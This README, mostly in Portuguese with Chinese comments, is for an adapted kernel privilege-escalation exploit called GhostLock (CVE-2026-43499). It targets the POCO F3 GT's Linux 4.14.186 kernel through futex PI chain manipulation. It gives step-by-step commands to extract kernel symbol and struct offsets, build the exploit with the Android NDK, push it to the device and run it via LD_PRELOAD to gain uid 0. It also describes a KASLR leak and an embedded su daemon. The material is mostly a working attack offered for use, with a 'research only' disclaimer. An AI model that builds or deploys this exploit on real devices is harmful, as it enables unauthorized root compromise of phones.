
GhostLock (CVE-2026-43499) exploit para POCO F3 GT (aresin) — MediaTek Dimensity 1200, escalada de privilégios do kernel Linux 4.14.186 ARM64 via manipulação da cadeia de futex PI
Exploit de sobrescrita de physmap somente com dados para MediaTek Dimensity 1200 (MT6893).
Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.
| Condição | Status | Descrição |
|---|---|---|
| Faixa de versão do kernel | ✅ | 4.14.186 está dentro da faixa 2.6.39 ~ 7.0.4 |
| CONFIG_FUTEX_PI | ✅ | Habilitado (y) |
| CONFIG_RT_MUTEXES | ✅ | Habilitado (y) |
| Arquitetura | ✅ | aarch64 |
| CONFIG_PREEMPT | ✅ | Habilitado (y) |
| CONFIG_RANDOMIZE_KSTACK | ❓ | A confirmar (o 4.14 pode não suportar) |
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
Se tiver root (Magisk), você pode extrair diretamente de /proc/kallsyms:
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)
# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf
# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
vmlinux.elf com o Ghidrart_mutex_waiter e task_structPreencha os offsets extraídos em todas as posições 0xTODO no target.h.
Tabela de referência dos offsets principais:
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# 编译
make preload TARGET_HEADER=target.h
# 产物: build/bin/preload.so
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
A estrutura rt_mutex_waiter é diferente:
plist_node em vez de rb_nodedeadline / ww_ctxO layout de task_struct é diferente:
pi_blocked_on, pi_lock, etc. no 4.14.x diferem do 6.1.xuclamp podem não existir no 4.14.xA implementação do KASLR é diferente:
Diferenças de segurança entre Android 13 e 14:
/proc/self/pagemap podem ser diferentesDepois de preencher os offsets, é recomendável fazer uma validação cruzada com o Ghidra:
rt_mutex_waitertarget.hghostlock-aresin/
├── README.md # 本文件
├── Makefile # 编译脚本
├── target.h # 目标设备偏移定义 (需要填写)
├── src/ # 源码
│ ├── main.c # 主利用逻辑
│ ├── util.c # 工具函数
│ ├── slide.c # KASLR 泄漏
│ ├── fops.c # 文件操作
│ ├── pipe.c # pipe 相关
│ ├── preload.c # LD_PRELOAD 入口
│ ├── su_daemon.c # su 守护进程
│ ├── su_blob.S # su 二进制嵌入
│ ├── standalone.c # 独立运行
│ ├── common.h # 公共定义
│ └── offset.h # 偏移计算
├── tools/
│ └── extract_offsets.sh # 偏移提取脚本
└── build/
├── bin/ # 编译产物
└── embed/ # 嵌入文件
Apenas para fins de pesquisa/educação. Use por sua conta e risco.
PoC original: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/
Adaptado para: POCO F3 GT (aresin) por ghostlock-aresin
| Campo | Descrição | Método de extração |
|---|
INIT_TASK | Endereço do init_task | /proc/kallsyms ou Ghidra |
INIT_CRED | Endereço do init_cred | /proc/kallsyms ou Ghidra |
WAITER_*_OFF | Offsets dos campos de rt_mutex_waiter | pahole / Ghidra |
FAKE_TASK_*_OFF | Offsets dos campos de task_struct | pahole / Ghidra |
TASK_CRED_OFF | Offset do ponteiro cred | pahole / Ghidra |
| Fase | Saída | Descrição |
|---|
| Inicialização | [*] GhostLock - aresin (MT6893 D1200) 4.14.186 | Dispositivo reconhecido corretamente |
| Fixação de CPU | [+] CPU0 pinned | Fixado na CPU0 |
| Carregamento de endereços | [*] init_task @ 0xffffffc00xxxxxxx | Endereço LM fixado |
| Verificação de permissões | [+] uid: xxxxx | Exibe o uid atual |
| Slide do KASLR | [+] slide = 0 ou slide = xxx | Deteção do KASLR |
| Disparo do escalonamento de privilégios | Após o sucesso, o uid muda para 0 | Obtém root |
| Falha | [-] ... + reinicialização | Kernel panic (a vulnerabilidade existe, mas os offsets precisam de ajuste) |